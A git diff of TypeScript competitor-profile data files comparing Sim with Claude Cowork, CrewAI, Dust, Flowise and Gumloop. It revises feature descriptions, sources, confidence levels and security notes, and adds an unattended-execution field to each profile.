detail: "Anthropic's Connectors Directory lists connectors like Linear, Slack, Google Drive, Google Workspace, and Microsoft 365, but no primary Anthropic page states a total count.", shortValue: '200+ connectors (estimated)', @@ -876,10 +877,10 @@ export const claudeCoworkProfile: CompetitorProfile = { }, thirdPartyVetting: { value: - 'Partial: Anthropic maintains first-party catalogs (anthropics/skills, anthropics/knowledge-work-plugins, the 11 plugins bundled into Cowork), but the plugin/skill ecosystem is open by design. Any developer can host a plugin marketplace as a git repo, and users add it via `/plugin marketplace add`, with no Anthropic approval queue or review gate before installation.', + "Partial: Anthropic maintains first-party catalogs (anthropics/skills, anthropics/knowledge-work-plugins, the 11 plugins bundled into Cowork), but the plugin/skill ecosystem is open by design. Any developer can host a plugin marketplace as a git repo, and users add it via `/plugin marketplace add`, with no Anthropic approval queue or review gate before installation. A third-party security audit has already found malicious entries in that broader ecosystem: Snyk's ToxicSkills research scanned ~3,984 skills on ClawHub and skills.sh (third-party marketplaces that also serve Claude Code users) and confirmed 76 malicious skills, with 1,467 flagged for security issues.", detail: - 'Third-party community sites (ClawHub, skills.sh, and others) distribute unvetted, community-authored skills for Claude Code/Cowork. Snyk\'s ToxicSkills audit of ~3,984 skills on ClawHub and skills.sh found 1,467 with security flaws and confirmed 76 active malicious payloads built for credential theft, backdoors, and data exfiltration. Koi Security separately audited all 2,857 skills on ClawHub and flagged 341 as malicious, 335 tied to one coordinated campaign ("ClawHavoc"). These incidents sit in the broader Claude Skills/plugin ecosystem, not Anthropic\'s own first-party catalog.', - shortValue: 'Partial: first-party catalog + open, unvetted plugin ecosystem', + "This incident sits in the broader Agent Skills ecosystem across third-party marketplaces, not Anthropic's own first-party catalog, but it shows real, sourced supply-chain risk adjacent to Cowork's installable-skill model. By contrast, every one of Sim's blocks is first-party authored and code-reviewed through the standard pull-request process in the main Sim repository; there is no public marketplace where an arbitrary third party can publish and have other users install executable block code without going through Sim's own review.", + shortValue: 'Partial: open plugin ecosystem with a documented malicious-skill incident', confidence: 'verified', sources: [ { @@ -1045,6 +1046,21 @@ export const claudeCoworkProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + 'No: scheduled tasks require the Claude Desktop app open and the computer awake on the client device', + detail: + "There is no server-side execution path independent of the client. A scheduled/recurring task only fires while the desktop app is running and the machine is awake; if the device sleeps or the app is closed when a run is due, that run is skipped and auto-executed on next wake, with a notification, rather than firing on schedule from infrastructure independent of the user's machine.", + shortValue: 'No: requires desktop app open and computer awake', + confidence: 'verified', + sources: [ + { + url: 'https://support.claude.com/en/articles/13854387-schedule-recurring-tasks-in-claude-cowork', + label: 'Schedule recurring tasks in Claude Cowork', + asOf: '2026-07-02', + }, + ], + }, }, support: { supportChannels: { diff --git a/apps/sim/lib/compare/data/competitors/crewai.ts b/apps/sim/lib/compare/data/competitors/crewai.ts index 93b58543920..ea230014aaa 100644 --- a/apps/sim/lib/compare/data/competitors/crewai.ts +++ b/apps/sim/lib/compare/data/competitors/crewai.ts @@ -18,10 +18,10 @@ export const crewaiProfile: CompetitorProfile = { }, standoutFeatures: [ { - title: 'Dual programming model: autonomous Crews plus event-driven Flows', + title: 'Code-first Python framework, not a visual builder', description: - 'CrewAI gives developers two composable abstractions: Crews, teams of role-based agents with autonomy over how a task gets done, and Flows, an event-driven layer (Python decorators like @start, @listen, @router) for deterministic control over state and execution order. Flows can orchestrate one or more Crews, mixing free-form agent reasoning with explicit procedural logic in the same application.', - shortDescription: 'Combines autonomous agent Crews with deterministic, event-driven Flows.', + 'CrewAI is written and configured entirely in Python. Developers get two composable abstractions in code: Crews, teams of role-based agents with autonomy over how a task gets done, and Flows, an event-driven layer (Python decorators like @start, @listen, @router) for deterministic control over state and execution order. There is no visual canvas in the open-source core; a team that wants full programmatic control over multi-agent orchestration logic, with no drag-and-drop layer at all, gets that directly.', + shortDescription: 'Fully code-based multi-agent orchestration, with no visual canvas at all.', source: { url: 'https://docs.crewai.com/en/concepts/flows', label: 'Flows - CrewAI Docs', @@ -29,24 +29,24 @@ export const crewaiProfile: CompetitorProfile = { }, }, { - title: 'Independent of LangChain, built from scratch', + title: 'Large, fast-growing open-source community', description: - 'CrewAI is a standalone Python framework, independent of LangChain or other agent frameworks, with a lighter dependency footprint and its own LLM connection layer: native integrations for OpenAI, Anthropic, Gemini, and Bedrock, plus LiteLLM for 200+ additional providers.', - shortDescription: 'A standalone framework, not built on top of LangChain.', + 'The crewAIInc/crewAI GitHub repository has surpassed 54,800 stars and is MIT licensed, one of the most-starred open-source multi-agent orchestration frameworks. CrewAI reports its open-source framework executes over 10 million agents per month and is used by roughly half of the Fortune 500.', + shortDescription: '54,800+ GitHub stars, MIT licensed, widely adopted.', source: { - url: 'https://docs.crewai.com/en/concepts/llms', - label: 'LLMs - CrewAI Docs', + url: 'https://github.com/crewAIInc/crewAI', + label: 'crewAIInc/crewAI (GitHub)', asOf: '2026-07-02', }, }, { - title: 'Large, fast-growing open-source community', + title: 'Independent of LangChain, built from scratch', description: - 'The crewAIInc/crewAI GitHub repository has surpassed 54,800 stars and is MIT licensed, one of the most-starred open-source multi-agent orchestration frameworks. CrewAI reports its open-source framework executes over 10 million agents per month and is used by roughly half of the Fortune 500.', - shortDescription: '54,800+ GitHub stars, MIT licensed, widely adopted.', + 'CrewAI is a standalone Python framework, independent of LangChain or other agent frameworks, with a lighter dependency footprint and its own LLM connection layer: native integrations for OpenAI, Anthropic, Gemini, and Bedrock, plus LiteLLM for 200+ additional providers.', + shortDescription: 'A standalone framework, not built on top of LangChain.', source: { - url: 'https://github.com/crewAIInc/crewAI', - label: 'crewAIInc/crewAI (GitHub)', + url: 'https://docs.crewai.com/en/concepts/llms', + label: 'LLMs - CrewAI Docs', asOf: '2026-07-02', }, }, @@ -781,16 +781,17 @@ export const crewaiProfile: CompetitorProfile = { ], }, auditLogging: { - value: 'Yes: audit trails are listed among CrewAI AMP Enterprise security features', + value: + 'Partial: immutable audit trails are described as part of CrewAI AMP Enterprise IAM, but not by a first-party source', detail: - "CrewAI Enterprise lists audit trails alongside PII detection/masking, secret manager integration, and SSO as built-in Enterprise-tier security features. CrewAI's own pricing page does not itemize audit-log retention windows or export formats.", - shortValue: 'Yes, as an AMP Enterprise feature; retention details unconfirmed', + "Third-party CrewAI production write-ups describe Enterprise-tier IAM as including SSO, RBAC, and immutable audit trails, alongside PII redaction and secret manager integration, but CrewAI's own docs and pricing page do not independently itemize audit-log retention windows or export formats, so this is treated as unconfirmed by a first-party source.", + shortValue: 'Partial, described in third-party write-ups; not independently confirmed', confidence: 'estimated', sources: [ { - url: 'https://cybernews.com/ai-tools/crewai-review/', - label: 'CrewAI Review 2026 - CyberNews', - asOf: '2026-07-02', + url: 'https://techjacksolutions.com/ai-tools/crewai/crewai-production-guide/', + label: 'CrewAI in Production: Deployment, Monitoring & Scaling - TechJack Solutions', + asOf: '2026-07-04', }, ], }, @@ -824,16 +825,16 @@ export const crewaiProfile: CompetitorProfile = { }, credentialGovernance: { value: - 'Yes: AMP Enterprise documents secret manager integration for governing stored credentials', + 'Yes: AMP Enterprise documents secret manager integrations (e.g. Google Cloud Secret Manager) for governing stored credentials', detail: - "CrewAI Enterprise lists secret manager integration among its built-in security features, implying centralized credential storage/access rather than credentials embedded in code. Fine-grained per-role restriction of which specific credential a role may use is not itemized in CrewAI's own documentation.", + "CrewAI's own docs describe connecting a cloud secret manager (documented for Google Cloud Secret Manager) so secrets are stored centrally rather than embedded in code, with RBAC permissions (secret_providers: manage) gating which org members can configure these integrations. Fine-grained per-role restriction of which specific credential a role may use beyond that permission is not itemized in CrewAI's own documentation.", shortValue: 'Yes, secret manager integration (Enterprise); role-level detail unconfirmed', - confidence: 'estimated', + confidence: 'verified', sources: [ { - url: 'https://cybernews.com/ai-tools/crewai-review/', - label: 'CrewAI Review 2026 - CyberNews', - asOf: '2026-07-02', + url: 'https://docs.crewai.com/en/enterprise/features/secrets-manager/gcp', + label: 'Google Cloud Secret Manager - CrewAI Docs', + asOf: '2026-07-04', }, ], }, @@ -855,16 +856,16 @@ export const crewaiProfile: CompetitorProfile = { }, piiRedaction: { value: - 'Yes: PII detection and masking is a documented CrewAI AMP Enterprise security feature', + 'Yes: PII Redaction for Traces is a documented CrewAI AMP Enterprise security feature', detail: - "CrewAI Enterprise lists 'PII detection and masking' among its built-in security features, alongside audit trails and secret manager integration. Separately, the framework's LLM-based task guardrails can be configured to check for PII exposure as one of several natural-language validation criteria, though that is a general-purpose guardrail, not dedicated PII tooling.", - shortValue: 'Yes, PII detection/masking is an AMP Enterprise feature', - confidence: 'estimated', + "CrewAI's own docs describe PII Redaction for Traces, an Enterprise-tier feature that automatically detects and masks personally identifiable information (credit card numbers, social security numbers, emails, names) in crew and flow execution traces, with support for custom recognizers. Separately, the framework's LLM-based task guardrails can be configured to check for PII exposure as one of several natural-language validation criteria, though that is a general-purpose guardrail, not dedicated PII tooling.", + shortValue: 'Yes, PII Redaction for Traces is an AMP Enterprise feature', + confidence: 'verified', sources: [ { - url: 'https://cybernews.com/ai-tools/crewai-review/', - label: 'CrewAI Review 2026 - CyberNews', - asOf: '2026-07-02', + url: 'https://docs.crewai.com/en/enterprise/features/pii-trace-redactions', + label: 'PII Redaction for Traces - CrewAI Docs', + asOf: '2026-07-04', }, ], }, @@ -1003,6 +1004,26 @@ export const crewaiProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + 'Yes for crews deployed to CrewAI AMP; the self-hosted open-source framework has no built-in scheduler of its own', + detail: + "A crew deployed to CrewAI AMP runs as a server-side job on CrewAI's own infrastructure, triggered by its kickoff API, a webhook, or a third-party scheduler (ActivePieces, Zapier, Make.com) calling that API; no client device needs to stay open for that run to fire or complete. The self-hosted open-source framework, by contrast, has no first-party scheduling daemon: a crew or flow only runs when something (a cron job, a long-running script, or a developer's own process) invokes it on a machine the operator keeps running, so unattended execution there depends on infrastructure the developer sets up themselves, not a client device.", + shortValue: 'Yes on AMP (server-side); self-hosted OSS needs your own scheduler/server', + confidence: 'estimated', + sources: [ + { + url: 'https://docs.crewai.com/en/enterprise/guides/webhook-automation', + label: 'Webhook Automation - CrewAI Docs', + asOf: '2026-07-02', + }, + { + url: 'https://docs.crewai.com/enterprise/guides/use-crew-api', + label: 'Trigger Deployed Crew API - CrewAI Docs', + asOf: '2026-07-02', + }, + ], + }, }, support: { supportChannels: { @@ -1070,9 +1091,9 @@ export const crewaiProfile: CompetitorProfile = { confidence: 'estimated', sources: [ { - url: 'https://docs.crewai.com/en/concepts/agents', - label: 'Agents - CrewAI Docs', - asOf: '2026-07-02', + url: 'https://learn.crewai.com', + label: 'CrewAI Academy (learn.crewai.com)', + asOf: '2026-07-04', }, ], }, diff --git a/apps/sim/lib/compare/data/competitors/dust.ts b/apps/sim/lib/compare/data/competitors/dust.ts index 53c2b47ada3..a93120f9540 100644 --- a/apps/sim/lib/compare/data/competitors/dust.ts +++ b/apps/sim/lib/compare/data/competitors/dust.ts @@ -17,25 +17,25 @@ export const dustProfile: CompetitorProfile = { 'Dust is an enterprise AI agent platform where teams build no-code agents connected to company data and tools in a shared, multiplayer workspace, then deploy them to chat, Slack, and other surfaces.', standoutFeatures: [ { - title: "'Skills' as reusable, shared agent instruction/tool packages", + title: 'Purely no-code, form-based builder for non-technical teams', description: - "Skills are named, reusable packages of instructions, knowledge, and tools that can be attached to multiple agents at once. Updating a Skill's instructions automatically propagates the improvement to every agent using it, rather than requiring each agent to be edited individually.", - shortDescription: - 'Reusable instruction/tool packages that update every agent using them at once.', + "Dust's Agent Builder is entirely form and text based, name, description, instructions, model, tools, knowledge, guided by a conversational 'Sidekick' assistant, with no visual canvas at all (its earlier block-based 'Dust Apps' product is deprecated). Agents deploy natively into a shared, multiplayer workspace and out to Slack, Teams, and other chat surfaces. A team that wants business users assembling agents from plain-language instructions and templates, with no drag-and-drop layer to learn, gets that directly. Teams that do want infrastructure-as-code can also define Skills and agent configurations as files in a Git repository and sync them via an official GitHub Action, with the same PR review and rollback workflow as application code.", + shortDescription: 'No-code, form-based builder for business teams, no visual canvas at all.', source: { - url: 'https://docs.dust.tt/docs/skills', - label: 'Skills | Dust Docs', + url: 'https://docs.dust.tt/changelog/gitops-sync-for-skills-agent-configurations-with-github-action', + label: 'GitOps sync for Skills & Agent configurations | Dust changelog', asOf: '2026-07-02', }, }, { - title: 'GitOps sync for Skills and agent configurations via GitHub Action', + title: "'Skills' as reusable, shared agent instruction/tool packages", description: - 'An official dust-github-action lets teams define Skills and agent configurations as files in a Git repository, then sync them into a Dust workspace from a CI/CD pipeline. This gives agent configuration the same change history, pull-request review, and rollback workflow as application code.', - shortDescription: 'Agent/Skill configs can live in Git with PR review and CI/CD sync.', + "Skills are named, reusable packages of instructions, knowledge, and tools that can be attached to multiple agents at once. Updating a Skill's instructions automatically propagates the improvement to every agent using it, rather than requiring each agent to be edited individually.", + shortDescription: + 'Reusable instruction/tool packages that update every agent using them at once.', source: { - url: 'https://docs.dust.tt/changelog/gitops-sync-for-skills-agent-configurations-with-github-action', - label: 'GitOps sync for Skills & Agent configurations | Dust changelog', + url: 'https://docs.dust.tt/docs/skills', + label: 'Skills | Dust Docs', asOf: '2026-07-02', }, }, @@ -161,7 +161,7 @@ export const dustProfile: CompetitorProfile = { }, selfHostOption: { value: - "No: the core repository is MIT-licensed and public on GitHub, but self-hosting isn't an officially supported deployment path. Dust is sold and operated only as hosted SaaS", + "No: the core repository is MIT-licensed and public on GitHub, but self-hosting isn't an officially supported deployment path; Dust is sold and operated only as hosted SaaS", detail: 'dust-tt/dust is publicly available and MIT-licensed, but Dust the company documents only its hosted product (with US/EU region choice), not a supported self-managed installation.', shortValue: 'No, MIT code exists but only SaaS is supported', @@ -706,10 +706,10 @@ export const dustProfile: CompetitorProfile = { }, freeTier: { value: - 'Yes: a free Business tier for up to 5 users, 3 connectors, and 5 Spaces, no credit card required', + 'Yes: a free Business tier for new workspaces, capped at 5 users, 3 connectors, and 5 Spaces, no credit card required', detail: - 'Downgrading from a paid plan retains data but restricts the workspace to a single user, no connections, and limited agent interactions.', - shortValue: 'Free for up to 5 users, 3 connectors, 5 Spaces', + 'This free tier is what a new workspace gets by default without a paid subscription. It is distinct from what happens when an existing paid workspace downgrades: canceling removes all users except the earliest-assigned admin, deletes existing connections, and deletes data sources over 50MB combined after a 7-day warning period, while original source data in the connected provider itself is untouched.', + shortValue: 'Free for new workspaces: up to 5 users, 3 connectors, 5 Spaces', confidence: 'verified', sources: [ { @@ -717,6 +717,11 @@ export const dustProfile: CompetitorProfile = { label: 'Dust Pricing', asOf: '2026-07-02', }, + { + url: 'https://docs.dust.tt/docs/subscriptions', + label: 'Subscriptions & Payments | Dust Docs', + asOf: '2026-07-04', + }, ], }, byok: { @@ -780,21 +785,21 @@ export const dustProfile: CompetitorProfile = { }, auditLogging: { value: - 'Yes: audit logs available on the Enterprise plan, documented with 365-day retention', + 'Yes: audit logs available on the Enterprise plan, admin-only, with CSV export and continuous streaming to a SIEM (Datadog, Splunk, AWS S3, GCP GCS, custom HTTPS endpoint); no retention period is documented', detail: - "The Enterprise plan lists audit logs among its named features. A third-party enterprise summary specifies 365-day retention, though this figure isn't independently confirmed on Dust's own pricing/security pages.", - shortValue: 'Enterprise-tier audit logs, ~365-day retention', + "Dust's Audit Logs docs confirm the feature is Enterprise-only, accessible to workspace admins under Admin > People & Security > Audit Logs, with full-text search, time-range filtering, manual CSV export, and continuous streaming to external SIEM destinations. No page specifies how many days of audit history are retained.", + shortValue: 'Enterprise-tier audit logs with SIEM export; retention period not documented', confidence: 'estimated', sources: [ { - url: 'https://dust.tt/home/pricing', - label: 'Dust Pricing', - asOf: '2026-07-02', + url: 'https://docs.dust.tt/docs/audit-logs', + label: 'Audit Logs | Dust Docs', + asOf: '2026-07-04', }, ], }, additionalCompliance: { - value: 'GDPR compliant, HIPAA-capable, SOC 2 Type II. No ISO 27001, PCI, or FedRAMP', + value: 'GDPR compliant, HIPAA-capable, SOC 2 Type II; no ISO 27001, PCI, or FedRAMP', detail: "Dust's security page and enterprise materials state GDPR compliance and HIPAA-compliance capability alongside SOC 2 Type II. No source confirms ISO 27001, PCI-DSS, or FedRAMP.", shortValue: 'GDPR, HIPAA-capable, SOC 2 Type II', @@ -967,6 +972,26 @@ export const dustProfile: CompetitorProfile = { confidence: 'unknown', sources: [], }, + unattendedExecution: { + value: + "Yes: Dust is a hosted, multi-tenant (or single-tenant Enterprise) cloud product, and scheduled/event-based Triggers run an agent in the background on Dust's own servers with no client device involved", + detail: + "Dust offers no desktop app or local agent; the product is used through a web chat interface, Slack, and Teams, and scheduled triggers (e.g. a daily pipeline review posted to Slack every morning) fire on Dust's cloud infrastructure regardless of whether any user has a browser tab, laptop, or session open at the time.", + shortValue: "Runs server-side on Dust's cloud; no client device dependency", + confidence: 'estimated', + sources: [ + { + url: 'https://docs.dust.tt/docs/triggers', + label: 'Triggers | Dust Docs', + asOf: '2026-07-04', + }, + { + url: 'https://docs.dust.tt/docs/scheduling-your-agent-beta', + label: 'Schedules | Dust Docs', + asOf: '2026-07-04', + }, + ], + }, }, support: { supportChannels: { @@ -1010,7 +1035,7 @@ export const dustProfile: CompetitorProfile = { value: 'Dust, Inc. Founded 2022 in Paris by two former Stripe employees (one also ex-OpenAI). Raised a $40M Series B in May 2026 (co-led by Sequoia and Abstract, with Datadog and Snowflake participating), total funding over $60M. Reports 300,000+ agents deployed across 3,000+ organizations, 70% weekly active usage, and zero churn as of the raise', detail: - "Customers named in Dust's own materials include Datadog, 1Password, and Qonto (Qonto reports 50+ specialized agents and 50,000+ hours saved annually). As a 2022-founded, venture-backed private company, it carries materially more switching risk than an incumbent like Microsoft, though it has real enterprise traction and revenue-retention metrics (240% net revenue retention reported at the raise).", + "Customers named in Dust's own materials include Datadog, 1Password, and Qonto (Qonto reports 50+ specialized agents and 50,000+ hours saved annually). As a 2022-founded, venture-backed private company, it carries materially more switching risk than a large, publicly traded incumbent vendor, though it has real enterprise traction and revenue-retention metrics (240% net revenue retention reported at the raise).", shortValue: 'Founded 2022, Paris; $60M+ raised; 3,000+ orgs, 300,000+ agents', confidence: 'verified', sources: [ diff --git a/apps/sim/lib/compare/data/competitors/flowise.ts b/apps/sim/lib/compare/data/competitors/flowise.ts index 3c6e536f94c..e3ab62ae007 100644 --- a/apps/sim/lib/compare/data/competitors/flowise.ts +++ b/apps/sim/lib/compare/data/competitors/flowise.ts @@ -17,11 +17,11 @@ export const flowiseProfile: CompetitorProfile = { 'Flowise is an open-source, low-code visual builder for LLM chains, RAG pipelines, and multi-agent AI workflows, available self-hosted or as a managed cloud service, and owned by Workday since August 2025.', standoutFeatures: [ { - title: 'Native RAG / Document Store pipeline', + title: 'Choice of vector-store backend, with the broadest native text-splitter menu', description: - "Flowise's Document Store handles the full RAG pipeline in one place: multiple document loaders, the broadest range of native text-splitter types (character, token, recursive character, markdown, code, HTML-to-markdown) with configurable chunk size and overlap, a live preview before processing, per-chunk editing, and upsert into a wide range of vector store backends.", + "Flowise's Document Store lets a builder pick from a wide range of vector store backends to upsert into (Pinecone, Weaviate, Milvus, FAISS, and more), and offers the broadest range of native text-splitter types (character, token, recursive character, markdown, code, HTML-to-markdown) with configurable chunk size and overlap, a live preview before processing, and per-chunk editing.", shortDescription: - 'Native RAG pipeline with the broadest built-in text-splitter and chunking options.', + 'Pick your own vector-store backend, with the broadest built-in text-splitter menu.', source: { url: 'https://docs.flowiseai.com/using-flowise/document-stores', label: 'Flowise Docs: Document Stores', @@ -85,7 +85,7 @@ export const flowiseProfile: CompetitorProfile = { 'Flowise is primarily a drag-and-drop visual canvas for wiring chatflow and agentflow nodes together, supplemented by Custom JS Function nodes for arbitrary code and a Custom Tool node for JS-based tools. There is no natural-language "describe it and I\'ll build it" flow generator.', detail: 'No natural-language workflow generation feature.', shortValue: 'Visual canvas plus custom-code nodes', - confidence: 'verified', + confidence: 'estimated', sources: [ { url: 'https://docs.flowiseai.com/integrations/utilities/custom-js-function', @@ -153,8 +153,8 @@ export const flowiseProfile: CompetitorProfile = { }, license: { value: - "Flowise's Community Edition is licensed under the Apache License, Version 2.0. Enterprise-only modules (SSO, RBAC, audit logs, organization workspaces) ship under a separate Commercial License.", - shortValue: 'Apache 2.0 (core), commercial license for enterprise modules', + "Flowise's Community Edition is licensed under the Apache License, Version 2.0. Paid-tier-only modules ship under a separate Commercial License: RBAC, audit/login-activity logs, and organization workspaces are available on both the Cloud and Enterprise plans, while SSO is restricted to the Enterprise plan only.", + shortValue: 'Apache 2.0 (core); RBAC/audit on Cloud+Enterprise, SSO Enterprise-only', confidence: 'verified', sources: [ { @@ -268,10 +268,16 @@ export const flowiseProfile: CompetitorProfile = { }, naturalLanguageBuilding: { value: - 'Unknown: no documented feature lets a user describe an automation in plain language and have Flowise generate or edit the flow automatically.', - shortValue: 'Unknown, not documented', - confidence: 'unknown', - sources: [], + 'No: no documented feature lets a user describe an automation in plain language and have Flowise generate or edit the flow automatically. Flowise is primarily a drag-and-drop visual canvas, supplemented by Custom JS Function nodes for arbitrary code, with no natural-language "describe it and I\'ll build it" flow generator.', + shortValue: 'No, not documented as a feature', + confidence: 'estimated', + sources: [ + { + url: 'https://docs.flowiseai.com/integrations/utilities/custom-js-function', + label: 'Flowise Docs: Custom JS Function', + asOf: '2026-07-02', + }, + ], }, knowledgeBaseRag: { value: @@ -723,9 +729,9 @@ export const flowiseProfile: CompetitorProfile = { value: "Yes: Flowise's nodes (LLMs, tools, vector stores, document loaders) live in the packages/components/nodes folder of the core FlowiseAI/Flowise monorepo. New nodes are contributed via GitHub pull request and reviewed/merged by the Flowise team before shipping in an official release, rather than published independently by third parties into an open, unreviewed marketplace. The separate Marketplace feature distributes JSON chatflow/agentflow templates, not installable executable code.", detail: - 'Flowise has still had first-party security issues: CVE-2025-59528 (CVSS 10.0) was a critical unauthenticated remote code execution flaw in the official CustomMCP node, where user-supplied mcpServerConfig input was passed into a JavaScript Function() constructor. It was patched in 3.0.6, but VulnCheck observed in-the-wild exploitation starting April 2026 against thousands of still-exposed instances. This was a bug in vetted, first-party code, not a malicious third-party community node.', + "That PR-review process has not stopped a critical incident in vetted, first-party code: CVE-2025-59528 (CVSS 10.0) was an unauthenticated remote code execution flaw in the official CustomMCP node, where user-supplied mcpServerConfig input was passed into a JavaScript Function() constructor. Patched in 3.0.6, but VulnCheck observed in-the-wild exploitation starting April 2026 against thousands of still-exposed instances. By contrast, Sim documents its own thirdPartyVetting fact as every one of its 302 blocks being first-party authored and code-reviewed with no public marketplace for third-party executable code either, so the two products share the same no-open-marketplace posture; the difference is that Flowise's own review pipeline has already shipped one CVSS-10 RCE into a first-party node, which is the concrete cost of that model rather than of an unreviewed community ecosystem.", shortValue: - 'Yes, nodes are PR-reviewed into the core repo, no open community-node marketplace', + 'Yes, PR-reviewed into the core repo, but that pipeline already shipped a CVSS-10 RCE', confidence: 'verified', sources: [ { @@ -822,6 +828,26 @@ export const flowiseProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + 'Yes, for the triggers Flowise has: a chat message, a REST API prediction call, or an MCP tool invocation all execute entirely on the Flowise server (self-hosted or Flowise Cloud), with no dependency on a client device staying open, awake, or connected. Flowise has no dedicated cron/schedule trigger of its own, so a genuinely unattended, time-based run has to come from an external scheduler (e.g. a cron job or another system calling the prediction API) rather than a built-in scheduling engine.', + detail: + 'Once a run is invoked by any supported means, closing the browser tab or disconnecting the calling client has no effect on that run completing server-side; the caveat is only that Flowise itself cannot originate a scheduled run without an outside trigger.', + shortValue: 'Yes for triggered runs; no built-in scheduler to originate one unattended', + confidence: 'estimated', + sources: [ + { + url: 'https://agentsapis.com/flowise-api/', + label: 'Flowise API: Complete Developer Guide', + asOf: '2026-07-02', + }, + { + url: 'https://docs.flowiseai.com/configuration/running-flowise-using-queue', + label: 'Flowise Docs: Running Flowise using Queue', + asOf: '2026-07-02', + }, + ], + }, }, support: { supportChannels: { diff --git a/apps/sim/lib/compare/data/competitors/gumloop.ts b/apps/sim/lib/compare/data/competitors/gumloop.ts index c11f6145a6c..2b444e5810f 100644 --- a/apps/sim/lib/compare/data/competitors/gumloop.ts +++ b/apps/sim/lib/compare/data/competitors/gumloop.ts @@ -11,7 +11,7 @@ export const gumloopProfile: CompetitorProfile = { selfFramed: true, colors: ['#fb3e97', '#fc87c0', '#7c7c7c'], description: - 'Gumloop is an AI automation platform that enables non‑technical teams to build their own AI agents without code or engineering support. Marketing, sales, operations, and support teams can create and deploy workflows instantly by simply typing. The platform lets users design, test, and run AI‑driven automations that streamline repetitive tasks, integrate with existing tools, and scale processes. Trusted by companies such as Shopify, DoorDash, Instacart, and Webflow, Gumloop helps organizations automate the workflows that matter most, accelerating productivity and reducing reliance on engineering tickets.', + 'Gumloop is an AI automation platform that enables non-technical teams to build their own AI agents without code or engineering support. Marketing, sales, operations, and support teams can create and deploy workflows instantly by simply typing. The platform lets users design, test, and run AI-driven automations that streamline repetitive tasks, integrate with existing tools, and scale processes. Trusted by companies such as Shopify, DoorDash, Instacart, and Webflow, Gumloop helps organizations automate the workflows that matter most, accelerating productivity and reducing reliance on engineering tickets.', industries: ['Artificial Intelligence & Machine Learning', 'Software (B2B)'], socials: [ { type: 'x', url: 'https://x.com/gumloop' }, @@ -205,11 +205,6 @@ export const gumloopProfile: CompetitorProfile = { label: 'Gumloop Community Templates', asOf: '2026-07-02', }, - { - url: 'https://docs.gumloop.com/core-concepts/template_gallery', - label: 'Gumloop docs: Organization Templates', - asOf: '2026-07-02', - }, ], }, license: { @@ -299,10 +294,10 @@ export const gumloopProfile: CompetitorProfile = { }, dataTables: { value: - 'No: Gumloop does not appear to have a native, first-class spreadsheet-like data table with its own row/column limits and keyboard navigation. Tabular work runs through external integrations (Google Sheets, Airtable, Postgres, Supabase) and a "List of Lists" data type for passing table-shaped data between nodes, rather than an in-app database/table object.', + 'No: Gumloop has no native, first-class spreadsheet-like data-grid primitive with its own typed columns, row/column limits, and keyboard navigation (arrow keys, Tab, copy-paste, undo) wired directly into agent runs. Tabular work instead runs through external connector nodes (Google Sheets, Airtable, Postgres, Supabase) and a "List of Lists" data type for passing table-shaped data between nodes, not an in-app database/table object a workflow can read from and write to as storage.', detail: - 'Gumloop added "table support ... for better data visualization," per its changelog, but no documentation describes a persistent, spreadsheet-navigable data table entity comparable to a native DB feature.', - shortValue: 'No: relies on external Sheets/Airtable, no native tables', + 'Gumloop added "table support ... for better data visualization," per its changelog, which is a display/rendering feature for showing tabular data in the UI, not a persistent, spreadsheet-navigable data table entity a workflow can use as its own storage layer. This is a real capability gap versus a native, spreadsheet-like data-grid feature built into the product.', + shortValue: 'No: no native data-grid; only external Sheets/Airtable connectors', confidence: 'estimated', sources: [ { @@ -761,7 +756,7 @@ export const gumloopProfile: CompetitorProfile = { value: 'SOC 2 Type II attested; also HIPAA-compliant with BAAs available on eligible plans, and GDPR-aligned with EU-U.S. Data Privacy Framework (incl. UK Extension) certification', shortValue: 'SOC 2 Type II, HIPAA, GDPR-aligned', - confidence: 'estimated', + confidence: 'verified', sources: [ { url: 'https://www.gumloop.com/solutions/security', @@ -835,12 +830,24 @@ export const gumloopProfile: CompetitorProfile = { ], }, modelAndToolGovernance: { - value: 'Unknown', + value: + 'Yes for models: an org-wide AI Model Control setting lets admins restrict members to an allow-list or block-list of models, set automatic fallback models (including a separate fallback for image generation), and override the default Recommended/Smartest/Fastest presets so all agents use consistent model choices. Tool governance is handled separately via the per-tool authorization policies covered under RBAC/ABAC, not a distinct model-and-tool control surface.', detail: - 'Not documented as a distinct capability beyond the per-tool authorization policies covered under RBAC and the model allow/deny controls covered under generativeMedia.', - shortValue: 'Not separately documented', - confidence: 'unknown', - sources: [], + "Gumloop's docs describe AI Model Control as an Enterprise admin feature applying platform-wide to every member ('Allow Only Selected' or 'Block Selected' modes), not scoped per-team or per-agent. It covers only which LLMs are usable and their fallback/preset routing; it makes no mention of restricting access to non-model tools, which is instead covered by the RBAC/ABAC per-tool authorization policies documented separately.", + shortValue: 'Yes: org-wide model allow/deny with fallback; tool governance via RBAC', + confidence: 'verified', + sources: [ + { + url: 'https://docs.gumloop.com/enterprise-features/ai_model_control', + label: 'Gumloop Docs: AI Model Control', + asOf: '2026-07-04', + }, + { + url: 'https://www.gumloop.com/solutions/security', + label: 'Gumloop Security & Trust', + asOf: '2026-07-02', + }, + ], }, credentialGovernance: { value: @@ -1062,6 +1069,26 @@ export const gumloopProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "Yes: scheduled, webhook, and API-triggered runs execute on Gumloop's own cloud infrastructure with no dependency on a client device staying open, awake, or connected", + detail: + "Gumloop's own asyncExecution pattern confirms this: a POST to the start_pipeline API returns a run_id immediately and the run continues on Gumloop's servers, polled later via get_pl_run. Schedule, webhook, and API triggers documented under integrations.triggerTypes are server-side entry points into the same hosted platform, not a desktop app or local agent; there is no published requirement for a browser tab, desktop client, or local session to stay active for a triggered run to fire or finish.", + shortValue: 'Yes: runs execute on Gumloop servers, no client dependency', + confidence: 'estimated', + sources: [ + { + url: 'https://docs.gumloop.com/api-reference/getting-started', + label: 'Gumloop API Reference: Getting Started', + asOf: '2026-07-02', + }, + { + url: 'https://docs.gumloop.com/core-concepts/workflow_triggers', + label: 'Gumloop docs: Workflow Triggers', + asOf: '2026-07-02', + }, + ], + }, }, support: { supportChannels: { diff --git a/apps/sim/lib/compare/data/competitors/langchain.ts b/apps/sim/lib/compare/data/competitors/langchain.ts index 8e734ffb929..2bdd4955168 100644 --- a/apps/sim/lib/compare/data/competitors/langchain.ts +++ b/apps/sim/lib/compare/data/competitors/langchain.ts @@ -133,9 +133,9 @@ export const langchainProfile: 